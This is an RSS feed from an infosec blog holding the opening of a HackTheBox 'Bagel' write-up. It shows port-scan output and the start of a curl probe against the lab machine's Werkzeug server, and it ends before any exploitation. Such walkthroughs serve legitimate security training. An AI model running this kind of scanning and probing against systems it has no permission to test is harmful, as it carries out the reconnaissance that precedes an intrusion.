<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Medium on CrippledMind's InfoSec Journal</title><link>https://crippledmind-infosec-journal.netlify.app/tags/medium/</link><description>Recent content in Medium on CrippledMind's InfoSec Journal</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 30 Jun 2024 18:26:06 +0530</lastBuildDate><atom:link href="https://crippledmind-infosec-journal.netlify.app/tags/medium/index.xml" rel="self" type="application/rss+xml"/><item><title>Bagel</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/</link><pubDate>Sun, 30 Jun 2024 18:26:06 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Bagel&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> 10.10.11.201&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>&lt;code>rustscan&lt;/code>&lt;/a>, found port 22, 5000 and 8000 ports open.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">22&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">OpenSSH&lt;/span> &lt;span class="mf">8.8&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">protocol&lt;/span> &lt;span class="mf">2.0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">hostkey&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">41&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f2&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ed&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cc&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">68&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c2&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ECDSA&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ecdsa&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sha2&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">nistp256&lt;/span> &lt;span class="n">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwHzrBpcTXWKbxBWhc6yfWMiWfWjPmUJv2QqB&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">c2tJDuGt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">97&lt;/span>&lt;span class="n">OvgzC&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">Zs31X&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">IW2WM6P0rtrKemiz3C5mUE67k&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">80&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">a7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cd&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">db&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">95&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">86&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">65&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">98&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ED25519&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ed25519&lt;/span> &lt;span class="n">AAAAC3NzaC1lZDI1NTE5AAAAINnQ9frzL5hKjBf6oUklfUhQCMFuM0EtdYJOIxUiDuFl&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">5000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">upnp&lt;/span>&lt;span class="err">?&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">fingerprint&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">strings&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">GetRequest&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTPOptions&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">34&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Help&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">44&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">RTSPRequest&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">54&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">version&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">SSLSessionReq&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">TerminalServerCookie&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">45&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">TLSSessionReq&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">400&lt;/span> &lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">text&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">NetCore&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="n">Jun&lt;/span> &lt;span class="mi">2024&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">46&lt;/span> &lt;span class="n">GMT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Content&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">52&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Connection&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">close&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Keep&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Alive&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">Bad&lt;/span> &lt;span class="n">Request&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">request&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">parts&lt;/span>&lt;span class="p">).)&lt;/span>&lt;span class="o">&amp;lt;/&lt;/span>&lt;span class="n">h1&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Werkzeug&lt;/span> &lt;span class="n">httpd&lt;/span> &lt;span class="mf">2.2.2&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Python&lt;/span> &lt;span class="mf">3.10.9&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OPTIONS&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Werkzeug&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.2.2&lt;/span> &lt;span class="n">Python&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">3.10.9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Did&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">follow&lt;/span> &lt;span class="n">redirect&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bagel.htb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">?&lt;/span>&lt;span class="n">page&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">index.html&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-8000">Port 8000
&lt;/h3>&lt;p>Nmap scan shows this port running a werkzeug server. To get the domain name, i did a curl request, and added it to &lt;code>/etc/hosts&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">curl&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">v&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Trying&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">8000.&lt;/span>&lt;span class="o">..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">*&lt;/span> &lt;span class="n">Connected&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="mi">8000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Host&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">10.10.11.201&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Agent&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">curl&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">8.6.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">Accept&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">*/*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">HTTP&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.1&lt;/span> &lt;span class="mi">302&lt;/span> &lt;span class="n">FOUND&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">Server&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Werkzeug&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.2.2&lt;/span> &lt;span class="n">Python&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">3.10.9&lt;/span>
